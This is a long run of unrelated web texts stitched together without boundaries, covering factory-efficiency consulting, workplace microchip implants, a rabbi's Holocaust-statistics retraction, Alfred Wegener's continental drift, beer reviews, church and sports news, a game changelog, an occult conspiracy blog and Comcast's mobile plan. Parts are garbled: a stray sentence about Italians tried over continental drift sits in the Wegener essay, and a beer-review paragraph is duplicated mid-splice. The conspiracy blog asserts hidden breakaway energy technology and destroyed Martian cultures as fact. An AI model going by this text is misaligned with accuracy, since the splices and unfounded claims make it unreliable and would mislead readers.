The first step in assembly took place when we started taking the work to the men, instead of the men to the work.
And
No workman has anything to do with moving or lifting anything. That is all in a separate department – the transportation department.
b) Some guidance for designing a good process layout, in order to increase value-added work and improve operator efficiency:
The principles of assembly are these:
1) place the tools, and the men, in the sequence of the operation so that each component part shall travel the least possible distance while in the process of finishing.
2) Use work slides, or other forms of carriers, so that when the workman completes his operation, he drops the parts always in the same place – which place must always be the most convenient place to his hand – and if possible have gravity carry the part to the next workman for his operation.
3) Use sliding assembly lines by which the parts to be assembled are delivered at convenient distances.
These general principles were developed 100 years ago and are detailed in countless books. They are taught in entry-level classes given to industrial engineering students. And yet… They haven’t gone mainstream.
2. What NOT to do
Most factory owners expect consultants to pull out a magic wand from a briefcase, and voila! They immediately show results.
So, what is a good sales pitch? It goes like this:
“I see your sewing operators are doing 72 outseams an hour on this 4-pocket pair of jeans. According to our database, they should be doing 95. Let us work with them and get them up to standard. This way you can free 20 operators, which saves you more than 80,000 RMB a month.”
In the short term, it might work somehow. The operators are given targets, measured, pressured, and are given a few tips on how to go faster. But this is the old Taylor approach – it pits the worker against his supervisor, and then all sorts of games start to happen. Not to mention, quality usually suffers.
In the long term, it degrades management-worker relations and has a negative impact on what it was aiming at improving: operator efficiency.
This approach was popular in the 1970s and 1980s and then suffered a serious backlash. This is not what you want to do!
3. An effective and sustainable approach
Let’s distinguish between the ‘hard’ and the ‘soft’ stuff. My point is, both are needed.
I listed before 7 industrial engineering applications that usually bring in substantial productivity gains:
Make materials flow
Reduce inventory by making smaller batches
Separate manufacturing from internal logistics
Present materials and tools at point of use
Include employees in the initiative to write/draw work instructions
Semi-automate or automate some process steps
Keep working! That’s what they call continuous improvement
All of this is great. But you need the fuel to drive these improvements. You need to engage your workforce.
How to engage them? Give them a bit of training to open their minds to new possibilities, put them in teams, give them projects, coach them, and let them express and implement their ideas.
Why THEIR ideas? Of course, consultants might have better ideas. But, if the people working in the factory came up with an idea themselves, that idea has a MUCH HIGHER chance of ‘sticking’ in the long term. That’s how to carry out sustainable improvement.
And, as teams try new things, they learn along the way. As an organization, you need less and less help from outside consultants in the long run. That’s a healthy objective, isn’t it?
To conclude, consultants do have a role in disseminating ‘best practices’, but also in guiding factories to engage their staff in improvement projects. If the approach is wrong, there will be no lasting improvement.
love this big board. Oh, yeah. It's a big move at an office that could change the way a lot of Americans work. A tech company in Wisconsin is offering to implant tiny microchips into its employees. Not just -- but the chips could allow people to unlock office doors, make purchases, Rebecca, come on here. So many questions about this, robin and Michael. Good morning. We asked a lot of them. This is the first American company to ever try this. One week from today many of the employees including the CEO will voluntarily have the microchips implanted into their bodies and they're calling it, I'm not kidding here, a chips and salsa party. This morning, like a scene straight out of 007. So you can keep an eye on me? Reporter: Employees at three square market making that fantasy a reality implanting their own bodies with microchips. What did the employees say when you brought this idea to them? Half of them actually within five seconds says yes. Reporter: CEO Todd Westby along with 50 of his 80 colleague, even his wife and kids preparing to implant these chips, the size of a grain of rice, between their forefingers and thumbs so they can do everything from buy snacks in the break room to log in in the morning to unloging doors with just the swipe of a hand. What did it take to persuade the hold-outs? Basically we had to explain to them there's no tracking of the information. It's not gps or anything like that. Reporter: The radio frequency technology in the devices approved by the fda will be inserted with a small needle by a licensed technician. Some internet experts warn the convenience could come at a cost. Many things start off with the best of intentions, but sometimes intentions turn. We've survived thousands of years as a species without being microchipped. Any particular need to did it now. Reporter: Participation is optional and some are holding out. There's always the fear of infection, so it's the unknown right now. Reporter: But many are excited to give the new technology a try. I think it's kind of cool. Pop it up there and it'll work. Just pop it up there. It's that simple so to give you a sense here's a grain of rice, the chips will be inserted like this grain of rice right here between your thumb and forefinger and most of the employees have opted in. It is voluntary. One size fits all, I guess. Now what happens if you get the implant and you're like I don't want this anymore. So they told me in case this happens, you pop it out. You literally push it out the way you would push a splinter out of your hand. Yes, hmm. Hmm. Okay. Are you on board?
[By Rabbi Yair Hoffman]
As many people have seen, there was a story on YWN last week, where inaccurate information concerning the victims of the holocaust was conveyed in a Youtube video by a kiruv Rabbi. At times, well-meaning people might inadvertently convey inaccurate information – and these words can hurt people. I had reached out to the Rabbi with the correct and accurate statistics. Below is a retraction and an apology that was made after the Rabbi was shown the correct information, but first – a quick thought.
There is a concept in Torah called zeh le’umas zeh.. That there are parallel opposite forces that exist in the world. When there is great kedushah there is also great tumah. The greatest evil of the past century, of course, was the manifestation of the Nazi beasts who roamed Europe, and virtually wiped out European Jewry. The evil that was the Nazis was a force of tumah impurity – that threatened the entire world. How was the world cleansed of this dark and sinister tumah?
We are maaminim bnei maaminim, and we have no explanations for the loss of the six million Jews. But the holy Klausenberger Rebbe zt”l does explain (Shefa Chaim Vol. II p.239) how the Tumah was removed from the face of the earth. He writes that this Tumah was removed from the earth on account of the six million kedoshim, the holy six million who died. The power of the tumah was broken and removed – preparing the way for eventual redemption.
The six million Kedoshim hy”d, all of them, according to the Klausenberger Rebbe zt”l, were the cause of the removal of this dark evil tumah from the world. Their holy memory should always be remembered in kedushah.
At the same time, we must realize the important role of the sheris hapleitah – the survivors. I remember one such survivor who used to tell me that in his town in Czechoslovakia the shul had been a virtual minyan factory with thousands of people in attendance every day – immersed in Tefilos. After the holocaust, he went back to the shul. He and his friend plus eight others were the only survivors. And then he said, “Now people complain about the noise of children in shuls. To me they are the most beautiful and joyous sounds in the world.”
The survivors of Churban Europe, came to these shores and rebuilt. They built yeshivos, day schools, shuls and a Torah-true infrastructure where Judaism and Torah could once again thrive. They also raised families – children, grandchildren, and great grandchildren. These survivors and rebuilders are truly “the greatest generation.” It is for these people as well as the six million hy”d – that the effort was made to correct the erroneous statistic.
Below is the apology and retraction of Rabbi Yosef Mizrachi, a man who has also built and brought numerous people back to a Torah lifestyle. It was emailed to this author at yairhoffman2@gmail.com.
I wish to apologize for my incorrect statement regarding the six million Kedoshim that were tragically murdered in the Holocaust. In the video that was shown that was from years ago ( it was not current ) only part of what I said was displayed in the entire lecture that was 2 hours I said that “I don’t know and used the word maybe 5 maybe 3 maybe 1 million we will never know. But now, I have been shown the accurate statistics and I realize that those that were not halachically Jewish were a very small minimal number. I do not wish to offend any of the holocaust survivors or their family members it has never ever been my intention. The Kedoshim of the holocaust need to be remembered and sanctified in the most honorable way possible those who know my lectures over the years know that I published many stories of kidush hashem from the Holocaust. My goal was to wake up our nation to the silent holocaust that is happening now which is the increasing intermarriage cases in usa and the rest of the world.
Yosef Mizrachi
(Rabbi Yair Hoffman – YWN)
[Editor's Note: The story was updated on October 22, 2012, to reflect the decision.]
It was a century ago this spring that a little-known German meteorologist named Alfred Wegener proposed that the continents had once been massed together in a single supercontinent and then gradually drifted apart. He was, of course, right. Continental drift and the more recent science of plate tectonics are now the bedrock of modern geology, helping to answer vital questions like where to find precious oil and mineral deposits, and how to keep San Francisco upright. But in Wegener’s day, geological thinking stood firmly on a solid earth where continents and oceans were permanent features.
We like to imagine that knowledge advances fact upon dispassionate fact to reveal precise and irrefutable truths. But there is hardly a better example of just how messy and emotional science can be than Wegener’s discovery of the vast, turbulent forces moving within the earth’s crust. As often happens when confronted with difficult new ideas, the establishment joined ranks and tore holes in his theories, mocked his evidence and maligned his character. It might have been the end of a lesser man, but as with the vicious battles over topics ranging from Darwinian evolution to climate change, the conflict ultimately worked to the benefit of scientific truth.
The idea that smashed the old orthodoxy got its start on Christmas 1910, as Wegener (the W is pronounced like a V) browsed through a friend’s new atlas. Others before him had noticed that the Atlantic coast of Brazil looked as if it might once have been tucked up against West Africa, like a couple spooning in bed. But no one had made much of it, and Wegener was hardly the logical choice to show what they had been missing. He was a lecturer at Marburg University, not merely untenured but unsalaried, and his specialties were meteorology and astronomy, not geology.
But Wegener was not timid about disciplinary boundaries, or much else. He was an Arctic explorer and a record-setting balloonist, and when his scientific mentor and future father-in-law advised him to be cautious in his theorizing, Wegener replied, “Why should we hesitate to toss the old views overboard?”
He cut out maps of the continents, stretching them to show how they might have looked before the landscape crumpled up into mountain ridges. Then he fit them together on a globe, like jigsaw-puzzle pieces, to form the supercontinent he called Pangaea (joining the Greek words for “all” and “earth”). Next he assembled the evidence that plants and animals on opposite sides of the oceans were often strikingly similar: It wasn’t just that the marsupials in Australia and South America looked alike; so did the flatworms that parasitized them. Finally, he pointed out how layered geological formations often dropped off on one side of an ocean and picked up again on the other, as if someone had torn a newspaper page in two and yet you could read across the tear.
Wegener called his idea “continental displacement” and presented it in a lecture to Frankfurt’s Geological Association early in 1912. The minutes of the meeting noted that there was “no discussion due to the advanced hour,” much as when Darwinian evolution made its debut. Wegener published his idea in an article that April to no great notice. Later, recovering from wounds he suffered while fighting for Germany during World War I, he developed his idea in a book, The Origin of Continents and Oceans, published in German in 1915. When it was published in English, in 1922, the intellectual fireworks exploded.
Lingering anti-German sentiment no doubt intensified the attacks, but German geologists piled on, too, scorning what they called Wegener’s “delirious ravings” and other symptoms of “moving crust disease and wandering pole plague.” The British ridiculed him for distorting the continents to make them fit and, more damningly, for not describing a credible mechanism powerful enough to move continents. At a Royal Geographical Society meeting, an audience member thanked the speaker for having blown Wegener’s theory to bits—then thanked the absent “Professor Wegener for offering himself for the explosion.”
But it was the Americans who came down hardest against continental drift. A paleontologist called it “Germanic pseudo­-science” and accused Wegener of toying with the evidence to spin himself into “a state of auto-intoxication.” Wegener’s lack of geological credentials troubled another critic, who declared that it was “wrong for a stranger to the facts he handles to generalize from them.” He then produced his own cutout continents to demonstrate how awkwardly they fit together. It was geology’s equivalent of O.J. Simpson’s glove.
The most poignant attack came from a father-son duo. Like Wegener, University of Chicago geologist Thomas C. Chamberlin had launched his career with an iconoclastic attack on establishment thinking. He went on to define a distinctly democratic and American way of doing science, according to historian Naomi Oreskes. Making the evidence fit grandiose theories was the fatal flaw in Old World science, Chamberlin said; the true scientist’s role was to lay out the facts and let all theories compete on equal terms. Like a parent with his children, he was “morally forbidden to fasten his affection unduly upon any one of them.”
By the 1920s, Chamberlin was the dean of American science and his colleagues fawned that his originality put him on a par with Newton and Galileo. But he had also become besotted with his own theory of earth’s origins, which treated the oceans and continents as fixed features. This “great love affair” with his own work was characterized, historian Robert Dott writes, “by elaborate, rhetorical pirouetting with old and new evidence.” Chamberlin’s democratic ideals—or perhaps some more personal motivation—required grinding Wegener’s grandiose theorizing underfoot.
Rollin T. Chamberlin, who was also a University of Chicago geologist, did his father’s dirty work: The drift theory “takes considerable liberties with our globe,” he wrote. It ignores “awkward, ugly facts” and “plays a game in which there are few restrictive rules.” Young Chamberlin also quoted an unnamed geologist’s remark that inadvertently revealed the heart of the problem: “If we are to believe Wegener’s hypothesis we must forget everything which has been learned in the last 70 years and start all over again.”
Instead, geologists largely chose to forget Alfred Wegener, except to launch another flurry of attacks on his “fairy tale” theory in the middle of World War II. For decades afterward, older geologists warned newcomers that any hint of an interest in continental drift would doom their careers.
Wegener took the assault as an opportunity to refine his ideas and address valid criticisms. When critics said he had not presented a plausible mechanism for the drift, he provided six of them (including one that foreshadowed the idea of plate tectonics). When they pointed out mistakes—his timeline for continental drift was far too short—he corrected himself in subsequent editions of his work. But he “never retracted anything,” says historian Mott Greene, author of an upcoming biography, Alfred Wegener’s Life and Scientific Work. “That was always his response: Just assert it again, even more strongly.” By the time Wegener published the final version of his theory, in 1929, he was certain it would sweep other theories aside and pull together all the accumulating evidence into a unifying vision of the earth’s history. (But even he would have been astonished by the charges against the Italians for failing to turn continental drift into a predictive device; that trial is expected to continue for months.)
The turnabout on his theory came relatively quickly, in the mid-1960s, as older geologists died off and younger ones began to accumulate proof of seafloor spreading and vast tectonic plates grinding across one another deep within the earth.
Wegener didn’t live to see it. Because of a subordinate’s failure, he and a colleague had to make a lifesaving delivery of food to two of his weather researchers spending the winter of 1930 deep in Greenland’s ice pack. The 250-mile return trip to the coast that November turned desperate. Wegener, at 50, yearned to be home with his wife and three daughters. He dreamed of “vacation trips with no mountain climbing or other semi-polar adventures” and of the day when “the obligation to be a hero ends, too.” But a quotation in his notes reminded him that no one accomplished anything worthwhile “except under one condition: I will accomplish it or die.”
News Release
(Wednesday, Aug. 29, 2012) – Vehicle owners with outstanding red light-tickets are encouraged to pay their fines as soon as possible to avoid the judgment and collections process. Beginning Sept. 10, judgments will be filed against thousands of vehicle owners who have not paid their tickets for more than 90 days.
Those with outstanding fines may pay in one of three ways:
On the City’s website: www.cityofrochester.gov/payments (There is an additional $1.25 processing fee for this service)
Mail payments (no cash) to the Parking and Municipal Code Violations Bureau, 42 South Ave., Rochester, NY 14604
Visit the Parking and Municipal Code Violations Bureau, 42 South Ave. (map) (There is limited metered parking and parking for a fee at the South Avenue Garage)
Ticket number or license plate number must be readily available.
Vehicle owners with red light law violations have been sent three notices to date to the address on file with the New York State Department of Motor Vehicles; the final notice warned them of impending judgment and referral to collections.
Rochester plans to use Photo Enforcement at as many as 50 intersections as part of an ongoing effort to improve public safety by reducing traffic accidents. To date, 29 intersections have been equipped with red light cameras.
More information on the red light camera traffic safety program can be found at www.cityofrochester.gov/redlight.
The October Beer Fest is an interesting one in the Franciscan Well; in contrast to the other two annual beer festivals hosted in Easter and (just last weekend) in January/February, all beers for October are imported. This keeps the beer list relevant even now, months later, as the festival afforded me the opportunity to try a number if imports I'd seen around in bottled form, but had yet to investigate.
First among these is St Bretta from Crooked Stave, this version apparently brewed with pomelo. It arrives a slightly hazy yellow-gold with a thin slice of foam and, as is probably worth considering de rigueur for any wild ale, smelling of citrus and sour wheat. It's rather easy to put away too; that squeeze of acidic lemon juice plays of slightly waxy citrus bitterness and pear drop sweetness to give it a soft drink approachability, albeit with a wonderfully dry finish. With some time and warmth these characteristics meld to form a rounder sort of melon flavour, but the whole thing stays light as a breeze. Thoroughly enjoyable stuff that's well worth picking up in the (better priced) bottle.
Duchesse de Bourgogne
Duchesse de Bourgogne is one that I've conspired to miss for much longer, a beer that often gets mentioned in the same conversation as the likes of Rodenbach and Liefman's Goudenband. Like those beers it's a dark red-brown pour with a surprisingly thick nose; sweet, perhaps creamy, maybe even edging towards diacetyl nuttiness. This makes more sense - and is more pleasant - on tasting. There is no sharp vinous fruit at first, but chocolate, leather and tart blackberry and raspberry jam. It's quite delicious actually, and that first impression on the nose dissipates quickly. Again it is shockingly easy to drink with its mild tartness and excellent stewed-apple dessert stylings, and once again I am sold that this is a bottle to consider. It may lack the seriousness and complexity of its perhaps more decorated Flemish counterparts but Duchesse is a lot of fun.
Superluminal
Staying wild we get to Buxton and Stillwater's Superluminal collaboration. A sour IPA from the producers of the wonderful Trolltunga and wild ale producers with the pedigree of Stillwater Artisanal? Sign me up. In the event, the beer is more determined to be sour than anything else, consisting of binary threads of citric acid and sweet grapefuit syrup. It's soft and squeaky clean, and doesn't really offer anything else besides those two threads, so I am not inspired to reinvest.
Queue de Charrue (not a tripel)
The next trio were all new to me, beers that can't readily be got in this country in any form. First up is Queue de Charrue , I'm guessing the 'vieille' or 'oud bruin' version. I don't know quite how 'oud' or 'vieille' this is, but it's certainly brownish. In fact, it's more red, and this is true of the flavour too; it's an intstantly sort-of weird cherry and marzipan thing with that sweet-not-sour sherbert you get in a Double Dip. Bizarrely, this is called a tripel, of apparently 9%. A check of RateBeer listings for Vanuxeem (the brewer responsible, a client brewer) only lists one such beer and that is indeed a Queue de Charrue Tripel of 9% that is characteristically blonde. There is a Queue de Charrue Rouge, which is at least close to the ABV at 8.7%, while the Oud Bruin is a mere 5.4%. All this goes to say that I have no idea what I drank, and the Franciscan Well had no idea what they were pouring. Annoying to say the least.
Boulevard Tank 7 has a sort of fame of its own as a classic American Belgian-style farmhouse ale. I receive it with trepidation, as it looks wan and smells of lager skunk. There's more interesting things happening on the palate, with weak Belgian vagueries giving way to TCP and Cuvée de Medicine Cabinette. It's also kind of slick and sticky, smothering any chance that the admittedly attendant soft spice and esters had of expressing themselves properly. Poor enough stuff.
Though nothing was as poor as the Gulden Draak Brewmaster's Edition , aged in whiskey barrels no less. I still have a soft spot for regular old Gulden Draak and Piraat from my earlier beer drinking days as simple and pleasant beers but sweet Jesus this is awful. A stonking buttercream festival of dismay; a sugary booze bath without the hedonistic joy; a masterclass in diacetyl sadism. Just don't.
The accumulated experience of those last three beers drove me out of the Well's yard and down the quays to the Bierhaus for some palate cleansing. There was a festival happening here too, focused entirely on sour and wild beers.
First up was Oud Beersel Oude Vieux Lambiek , not geuze. Although, unsurprisingly, it tastes and plays rather like geuze. It does have a light sparkle, as well as a powerful whack of sour lemon sherbert and wheat. Simple, top quaffing stuff.
Salubrious Summer Stout . This 10.4%-er came appropriately slick and smooth and oozing (in a good way) chocolate mousse, hazelnut praline, wood and milk chocolate. It doesn't hit the heights of their Brett Brux stout (I don't know if it's even been bretted or aged so comparison may be unfair) but it's terrifyingly easy to drink. There's no tartness, so I needed to get back on festival spec with the last beer of the day. There was savage value to be had, especially with a Beoir membership card, from the cask engine, pouring Otterbank's. This 10.4%-er came appropriately slick and smooth and oozing (in a good way) chocolate mousse, hazelnut praline, wood and milk chocolate. It doesn't hit the heights of their Brett Brux stout (I don't know if it's even been bretted or aged so comparison may be unfair) but it's terrifyingly easy to drink. There's no tartness, so I needed to get back on festival spec with the last beer of the day.
This was Barbera , from Hof Ten Dormaal, a wild ale with grape must, presumably from Barbera. The bones of this are Payottenland-ish; that typical sour-citrus-wheat thing, but there is a definite vinous thread running through, with whispers of blackcurrant and twigs hiding in the background. It was quite delicious, but as my only experience with a grape-must beer (big in Italy, I think) comparisons are impossible to make.
The glass empty, I left.
Assistant House Whip Rep. Steven Palazzo (R-MS), a Tea Party member elected in 2010, sent a Bible to every member of Congress this week, and Talking Points Memo obtained a copy of the letter that came along with it:
Dear Colleague, On a daily basis, we contemplate policy decisions that impact America’s future. Our staffs provide us with policy memos, statistics, and recommendations that help us make informed decisions. However, I find that the best advice comes through meditating on God’s Word. Please find a copy of the Holy Bible to help guide you in your decision-making. This copy is provided as an inspirational and informational resource to you by Mr. J.B. Atchison, a constituent of mind from South Mississippi. If there is ever anything I can do for you, please do not hesitate to contact me.
How about passing legislation that’ll actually help Americans instead of asking members of Congress to rely on supernatural fairy tales for guidance?!
Sorry… That’s why I’m not in public office. Rep. Keith Ellison (D-MN), a Muslim who’s much more polite than I am, just sent back a thank-you note.
(In case you’re wondering, only a few dozen members of Congress are something other than Christian.)
On a side note, a quick search for J.B. Atchison on Facebook found one Mississippi resident who likes Rep. Palazzo (bingo!), loves the movie God’s Not Dead, wants to impeach Obama, and likes Jim Carrey (the horror!)…
Barry Lynn of Americans United for Separation of Church and State had some very strong words against the Christian gesture:
“When a politician calls for using the Bible as the basis for public policy, what he or she is really saying is, ‘Let’s use the Bible as I interpret it as the basis for public policy,'”… “When it comes to religion, our nation is pluralistic and diverse. Rather than look to the Bible or any other religious book to craft our nation’s public policy, we would do well to examine another source instead, one that was actually created to guide governance. It’s called the Constitution.“
Palazzo clearly hasn’t read the Constitution. At least he never got past the First Amendment.
Come to think of it, he probably hasn’t read the Bible either. Like most conservative politicians, he seems much more interested in using the Bible as justification to vote however he’d like. It’s not a source of guidance for him; it’s just a method to prevent further discussion. (Turns out God’s a Tea Party member, too. Who knew?!)
Sounds like a good time to rehash this old West Wing clip:
(Thanks to Scott for the link)
Organisers unveiled the cup draw on Tuesday in Australia, New Zealand and Papua New Guinea. And while Brisbane was the big winner with the final and a semi-final, Sydney was the major loser after a late change of heart from the state government harpooned their prospects.
A game to share: Kangaroos coach Mal Meninga is not perturbed that Sydney will see just two games of the 2017 World Cup. Credit:Getty Images
Instead, Darwin and Melbourne are the Australian cities to host quarter-finals, with the remaining two in Christchurch and Wellington. Brisbane and Auckland host the semi-finals, with the decider to be held in early December at Suncorp Stadium.
BERLIN (AP) — Pope Francis says the church must study whether it’s possible to ordain married men to minister in remote communities facing priest shortages.
In an interview published Thursday with Germany’s Die Zeit, Francis stressed that removing the celibacy rule is not the answer to the Catholic Church’s priest shortage. But he expressed an openness to studying whether so-called “viri probati” — or married men of proven faith — could be ordained.
“We must consider if viri probati is a possibility. Then we must determine what tasks they can perform, for example, in remote communities,” he was quoted as saying.
The “viri probati” proposal has been around for decades, but it has drawn fresh attention under history’s first Latin American pope thanks in part to his appreciation of the challenges facing the church in places like Brazil, a huge Catholic country with an acute shortage of priests.
Brazilian Cardinal Claudio Hummes, a longtime friend of Francis and former head of the Vatican’s office for clergy, is reportedly pressing to allow viri probati in the Amazon, where the church counts around one priest for every 10,000 Catholics.
Francis has shown particular openness to receiving concrete proposals for ordaining married men as well as his own pastoral concern for men who have left ministry to marry.
He has maintained friendship with the Argentine widow of a friend who left the priesthood to marry, and he spent one of his Friday mercy missions last year visiting with men who had left ministry to start families. He has also said that while he favors a celibate priesthood, celibacy technically can be up for discussion since it’s a discipline of the church, not a dogma.
The church allows some exceptions to the rule. Priests in the eastern rite Catholic Church are allowed to be married, as are married Anglican priests who convert to Catholicism.
In the first major interview that Francis has given a German newspaper, the pope was asked whether he experienced moments in which he doubted the existence of God. He responded: “I, too, know moments of emptiness.”
But, he pointed out that periods of crisis are an opportunity to grow, saying a believer who doesn’t experience that remains “infantile.”
Francis also repeated his warning of the dangers of rising populism in western democracies, saying “populism is evil and ends badly as the past century showed.”
Posted by FRAYDO on Jan 13th, 2016
Can you feel it comrades?
The latest and best version of Red Alert: A Path Beyond has been released!
Much time has been put into improving the game, and the APB development team is glad to finally make it available. Before you rush off to downloading, have a quick rundown of what has changed from the previous Gamma version.
A Path Beyond Delta
Changelist
Naval combat has been reintroduced
Snipers reintroduced
Tech Level determined at the start of the round
Tech Level unit structure reworked
Sprinting has been added, which is done by holding [Shift]
Regeneration has been added; Infantry will recover to 75% of their health, armour remains depleted.
Aiming penalties factor in; Standing, running, crouching and jumping will affect your accuracy.
Team info/base info popups bound to B and M
Updated models for several infantry and vehicles
Updated textures for infantry, vehicles, and buildings
Jukebox feature added
Substantial performance improvements
Maps have been vastly revamped and improved; in fact, have some previews!
The maps contained in this release (click for big)
and more! Much more features and improvements, which you'll have to see in-game!
Both the staff members and testers have worked very hard to make this possible, and it's thanks to them we are here today! It has been a pleasure to work on this, and it has been a blast to test and play this extensively. We hope you enjoy this update.
In order to play the game, you must first download the W3D Hub Launcher. From there, you can install Red Alert: A Path Beyond, as well as receive future updates and patches.
We all get where Lovecraft was going with this. It's a remarkably parsimonious (for him, anyway) description of an early twentieth century horror worldview, still shaking off the Gothic Romanticism of the previous century. However, I wonder if the inability -or unwillingness in the face of evidence today- of the human mind to correlate all its contents is not, in fact, the least merciful thing in the world.
Many of the cornerstones of monocultural and western magical 'correct thinking' have been shown to be shot through with unseemly people and agendas. The black civil rights movement, feminism, environmentalism, sixties counter-culture, western esotericism, science fiction... name the glass of champagne and it does not take too long to find the shadow state dick that swirled it. And over the last few decades as this evidence has emerged, demanding correlation, the broad practical occult response has been very Tobias Fünke.
Alternatively, the response has been to flee to either end of a Manicheanish spectrum:
The physical realm -particularly the modern west- is a demonic prison presided over by extradimensional nasties from whom we must flee or over whom we must somehow triumph. Or... Everything is actually a luminous and wonderful manifestation of the divine and the troubles you are experiencing are due to improper thoughts because how else do I keep getting good parking spots, Mr Syrian refugee?
Because the series is called Archonology, I have been asked a bunch of times whether I ascribe to a generalised gnostic worldview (whatever that is). And the reality is I don't. It's just not a very good worldview, by which I mean -as maps go- it is insufficiently accurate in describing the terrain... ie the universe.
If you look at the historical conditions that gave rise to the various gnosticisms we know today, in most cases it is self-evident that the early gnostics never set out to describe reality. (Creation, sure... but not Reality.) You don't really find the family trees and cultural/historical events you find in the Old Testament, for instance. What presides over the physical takes prominence over the physical. And it certainly nails the 'mouth feel' of some of these entities and their impact on the physical, but the story of our world is more than that.
Thus, gnosticism is not so much a map of London, but a set of precise instructions for getting out of it as expediently as possible. You see the critical difference here? So that it could focus on delivering its promised individualised divine experience, gnosticism sort of outsourced its description of the universe to Neoplatonism, which was the 'right thinkers' view of the universe at the time. (If New Scientist was around then, it would have been called New Neoplatonist. And however low my opinion of Neoplatonism, I would probably prefer to read that.)
This is why I keep glibly using the term 'space shamanism'. Actually there are two reasons. The first is that it irritates people and I am a stinker that way. Secondly, because it can absorb the lived personal experience of extremely hostile nonphysical entities -you can say archons in the wrong conspiratainment sense of the word, if you like- into a much broader, older and more physically inclusive experience of the spirit world... which is largely ambivalent to you until you show up, then it gets curious about you. Even in the natural world, curiosity is mistaken for attack because it can be very damaging. (Sharks.) Basically, there's a whole bunch of stuff out there, and not everything is an interdimensional shape-shifting lizard.
Folding in Dr Witzel's Laurasian mythology, we can discern at a sufficient time depth -30,000 to 40,000 years ago, give or take- the emergence of a set of protocols for spirit interaction that have been highly conserved across the intervening millennia (this is the story of my upcoming book, by the way) that can only have been triggered 'spirit side', so to speak. Golden Ages, Lost Continents, these are motifs that emerge in palaeolithic mythology at a time where they cannot be physically true, but instead speak to a sense of "c'mon guys, we used to know this"... like trying to remember someone's phone number back in a time when people had to remember such things.
Here we see the emergence of The Fall, which Peter Grey correctly isolates as the defining motif of the western tradition. 'The Fall' probably arose in the context of a worldview of unreliable, sometimes-destructive, sometimes-beneficial engagement with a spirit realm that we have in some sense 'fallen away' from... and with that falling away comes corresponding holes in the universe's narrative: some shit went down a long time ago and it could mean this... or that thing could be a remnant... I think maybe most of them were dicks but there had to have been at least one good guy.
And so we got the appearance of a ritualised need for allies, apotropaia and spirit journeys in a vastly old universe whose 'true' story we can only glimpse... enough to know it is long and dramatic. This world was also highly omnivorous and promiscuous; swapping songs, gods and tech because who knows? Maybe these pieces work?
Space shamanism -which isn't an actual thing and is just a term- restores some of this absorbance. It is Babalon's tampon. It is a chaos-magic-specific correlation of the contents of our world without sin, what it gets wrong and what it lies about... it is an ongoing repositioning around evidence of high strangeness and low skullduggery, because both are found in a magical universe. It is perpetual beta, which leads to superforecasting success:
The strongest predictor of rising into the ranks of superforecasters is perpetual beta, the degree to which one is committed to belief updating and self-improvement. It is roughly three times as powerful a predictor as its closest rival, intelligence.
Video correlation
The first time I realised YouTube could actually entertain me for a whole night was in early 2009. Granted, I'd only been in the country for less than a year and New Zealand's appalling internet speeds may have been partially to blame, but one night after work, I sat down with a glass bottle of wine and managed to keep myself occupied with long-ish form content for a whole evening. That was sort of the in-between time where the majority of the content finally moved up from 240p but before the crackdown on piracy was complete.
Now it is one of my favourite things to do when I have the place to myself... get some wine, open up the laptop, sit quietly (propped up in bed because I really am that disgusting) and just... vigorously YouTube. Today, one of the curious side effects of playing 'dominant narrative whackamole' on military infrastructure is that we have the opportunity to completely reposition worldviews simply by watching a few videos in sequence.
So watch these videos in sequence. (Bed and wine model's own.) At the end of each one, always think back to Sharyl:
These next two relate to what I was saying about the Pope and the UN, which led to some grumbling in less salubrious corners of the internet.
Think of Sharyl, then watch this.
Manoj is everyone's favourite billionaire, to be sure. And this is uplifting in the sense that it demonstrates what could be achieved with decentralised action. But it needs to be viewed in the context of the subsequent videos. Manoj is building bicycle-powered batteries for the developing world when there are breakaway technologies a couple of states over that blew past hydrocarbon energy decades ago.
I need further convincing that the destroyed Martian cultures were merely Bronze Age, but this is quite a good exploration of Dr Brandenburg's work and his thesis.
The timelines of McCandlish's story line up really well with my contention that this stuff went fully Deep Private in the Bush I 80s.
https://youtu.be/ZM8YsBiOw1c
I'm not really interested in discussing whether these things are happening or not -particularly when it comes to narrative manipulation- because that ship has well and truly sailed. They are happening. It takes bravery to face that. I'm more interested in exploring how others correlate these actualities in their mind. It seems to me we exist in a universe that is massively shit, massively amazing and whose macro story is probably so incredible it could melt your face with wonder.
The service will be called Xfinity Mobile, and it’s supposed to launch sometime in the near future.
It isn’t going to be widely available, however. Xfinity Mobile will only be available to Comcast’s existing customers — the company’s goal here is to build an even bigger bundle for existing TV, landline, and internet subscribers.
Comcast is piggybacking on Verizon’s network
Most Comcast customers will be able to subscribe to an Xfinity Mobile plan with unlimited data for $65 per month per line, but customers with some of the more expensive X1 TV plans will be able to get it for only $45 per month. Comcast will also offer a pay-as-you-go service for $12 per gigabyte.
Those prices are slightly cheaper than typical wireless plans, and Comcast is hoping a few other perks will draw customers in: it won’t charge arbitrary line access fees; it’ll let families have some phones on the unlimited plan and others on the pay-as-you-go plan; and it’ll let pay-as-you-go customers switch in the middle of a month over to an unlimited plan, without penalty. It’s also offering 24/7 support over text message.
At launch, Xfinity Mobile will support phones from Apple, Samsung, and LG — though only a selection from each. It’ll have the last two years of iPhone models, it’ll have Samsung’s S7 and S8 models, and it’ll offer LG’s X Power, a midrange phone with a large battery in it.
Comcast’s offering is going to be pretty different from the typical wireless service. Rather than owning and operating its own cell towers, Comcast is essentially renting wireless space from Verizon — so Comcast’s customers will actually be connecting to Verizon’s network. That means Comcast will immediately have nationwide reach.
Smooth Wi-Fi handoff is going to be critical to Xfinity Mobile’s success
But because Comcast has to pay Verizon for the data it uses, Comcast’s wireless plan is designed to push customers onto Wi-Fi as often as possible. Customers aren’t just paying for access to wireless service, they’re also paying for access to Comcast’s network of 16 million Wi-Fi hotspots.
Comcast says that phones connected to Xfinity Mobile will be set up to automatically find and connect to any nearby Wi-Fi hotspot. That data won’t count toward monthly caps, and it’ll likely be delivered at faster speeds than what’s offered over Verizon’s wireless network. Comcast also clarified that no services would be zero-rated over Xfinity Mobile, including its own Stream TV offering. It won’t be offering voice-over Wi-Fi either.
This unconventional format has been tried before by companies like Republic Wireless, but it has yet to catch on in a big way. For that to happen, Comcast will have to prove that it can make Wi-Fi handoffs happen without interrupting customers’ connectivity.
Comcast executives seemed surprisingly unaware that this might be an issue. During a call with investors, someone asked if Xfinity Mobile would do anything about the “shitty” handoff ordeal people often experience on phones, and executives laughed and said they’d have to make it a new goal.
“I would say that we get it. Wi-Fi today is not what it should be,” said Comcast Cable president Dave Watson. “We have room to improve. But I would say this: one of the things that I talked about today is, just like X1, just like other product areas, our aspirations are to constantly improve the Wi-Fi experience.”
